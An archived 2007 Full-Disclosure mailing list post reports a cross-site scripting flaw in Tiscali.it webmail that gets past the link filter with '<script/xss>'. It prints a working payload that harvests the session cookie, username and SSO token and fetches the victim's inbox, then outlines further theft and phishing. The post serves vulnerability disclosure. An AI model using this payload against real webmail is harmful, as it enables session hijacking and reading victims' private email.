full-disclosure - Tiscali webmail exploited

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <bdc100230704170057k29909c74kb96e218e12968c2@mail.gmail.com>
Date: Tue, 17 Apr 2007 09:57:52 +0200
From: "Rosario Valotta" <rosario.valotta@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Tiscali webmail exploited

Tiscali.it (big italian ISP) webmail is affected by a severe vulnerability;
in the email composer a user is allowed to insert a hyperlink specifying
the link URL. This feature can be used to inject malicious HTML code in the
form, allowing the execution of arbitrary code.
On the submitted URL some security checks are performed ("<script",
"script>","<script>","javascript" and similar tokens are intercepted, but
"<script/xss>" isn't...).
So it is possible to find a XSS vector that breaks the controls; here is an
example:

'';!--<XSS></A><script/xss>
var c=document.cookie; alert(c);
s=c.substring(c.indexOf('ssoUser')+8,c.indexOf('ssoDomain')-2);alert(s);
t=c.substring(c.indexOf('ssoToken=')+9,c.indexOf('ssoToken=')+21);alert(t);
mailurl=unescape('/cp/ps/Mail/EmailList?search=%26sh=%26d=
tiscali.it%26fi=1%26sd=Desc%26an='+s+'%26l=it%26fp=INBOX%26sc=%26u='+s+'%26t='+t+'%26ss='
);
xmlhttp = new ActiveXObject('Msxml2.XMLHTTP');
xmlhttp.open('GET',mailurl,true);
xmlhttp.onreadystatechange = checkData;
xmlhttp.send(null);
function checkData(){alert(xmlhttp.readyState);if (xmlhttp.readyState == 4)
{ alert(xmlhttp.responseText); }}
</script/xss>

When the email with the malicious link is opened by the victim (no
interaction required), the following events occur:
- the cookie, username and sessionId are alerted
- using the cookie data, an XMLHTTPRequest is made to the EmailList page
that contains preview of the first N e-mails in the victim account (in the
PoC I used INBOX, but all folders can be used)
- the html content of the retrieved page is alerted (the page contains among
<div-0>..<div-n> tags,  the mail preview information fields ("from:",
"subject", "date", etc.).

Going further it is as well possible to:
- access the detailed content of each email
- access the contacts of the victim
- load arbitrary pages in the mailList iframe (possible phishing), using
location.href attribute

All the informations retrieved could be easily sent to a remote site, so
allowing the attacker to spy the victim's mail activities.
Vuln discovered: 14/04/07
Vuln reported to portal owner 15/04/07 - No aswer yet

Greetings,
Rosario Valotta

[rosario dot valotta at gmail dot com]

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/